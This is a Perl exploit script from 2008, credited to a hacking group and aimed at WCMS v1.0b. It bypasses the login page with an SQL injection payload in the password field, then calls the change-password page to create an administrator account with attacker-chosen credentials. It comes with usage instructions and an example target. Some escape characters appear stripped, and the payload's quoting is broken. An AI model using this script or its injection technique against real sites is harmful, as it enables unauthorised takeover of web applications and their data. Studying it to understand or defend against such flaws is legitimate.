#!/usr/bin/perl
#=================================================
# WCMS v.1.0b Arbitrary Add Admin Exploit
#=================================================
#
#  ,--^----------,--------,-----,-------^--,
#  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
#  `+---------------------------^----------|
#    `_,-------, _________________________|
#      / XXXXXX /`|     /
#     / XXXXXX /  `   /
#    / XXXXXX /______(
#   / XXXXXX /           
#  / XXXXXX /
# (________(             
#  `------'
#
#AUTHOR : CWH Underground
#DATE : 22 September 2008
#SITE : cwh.citec.us
#
#
#####################################################
#APPLICATION : WCMS: Web Content Management System
#VERSION     : v.1.0b
#VENDOR		 : www.rgb72.com (WEB DESIGN SOLUTIONS)
######################################################
#
#Note: magic_quotes_gpc = off
#
#This Exploit will Add user to Administrator's Privilege.
#
#####################################################################
# Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
# Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

use LWP;
use HTTP::Request;
use HTTP::Cookies;

print "n==================================================n";
print "      WCMS v.1.0b Arbitrary Add Admin Exploit n";
print " n";
print "         Discovered By CWH Underground n";
print "==================================================n";
print "                                              n";
print "  ,--^----------,--------,-----,-------^--,   n";
print "  | |||||||||   `--------'     |          O	n";
print "  `+---------------------------^----------|   n";
print "    `_,-------, _________________________|   n";
print "      / XXXXXX /`|     /                      n";
print "     / XXXXXX /  `   /                       n";
print "    / XXXXXX /______(                        n";
print "   / XXXXXX /                                 n";
print "  / XXXXXX /   .. CWH Underground Hacking Team ..  n";
print " (________(                                   n";
print "  `------'                                    n";
print "                                              n";

if ($#ARGV + 1 != 3)
{
   print "Usage: ./xpl.pl <Target URL> <user> <pass>n";
   print "Ex. ./xpl.pl http://www.target.com/admin/ cwhuser cwhpassn";
   exit();
}

$blogurl = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];

$loginurl = $blogurl."index.asp";
$adduserurl = $blogurl."change_password.asp";
$post_content = "user=".$user."&pass=".$pass."&pass1=".$pass."&Submit=---+CHANGE+---";


print "n..::Login Page URL::..n";
print "$loginurl";
print "n..::Add User Page URL::..n";
print "$adduserurlnn";
print "..::Login Process::..n";

$ua = LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new);
$request = HTTP::Request->new (POST => $loginurl);
$request->header (Accept-Charset => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
$request->content_type ('application/x-www-form-urlencoded');
$request->content ('user=admin&d_log=login&password='+or+'a'='a&imageField.x=0&imageField.y=0'); 
$response = $ua->request($request);
$location = $response -> header('Location');

print "n[+]Result :: ";

if ($location =~ /admin_main.asp/)
{
   print "Login Success!!!n";
}
else
{
   print "Login Failed!!!n";
   exit();
}

print "n..::Add Admin Exploit::..n";
$request = HTTP::Request->new (POST => $adduserurl);
$request->content_type ('application/x-www-form-urlencoded');
$request->content ($post_content);
$response = $ua->request($request);

   print "n[+]Resultn";
   print "Username :: ".$user."n";
   print "Password :: ".$pass."n";
   print "Role     :: Administratorn";
   print "nEnjoy with Bugs ;)"

# www.Syue.com [2008-09-22]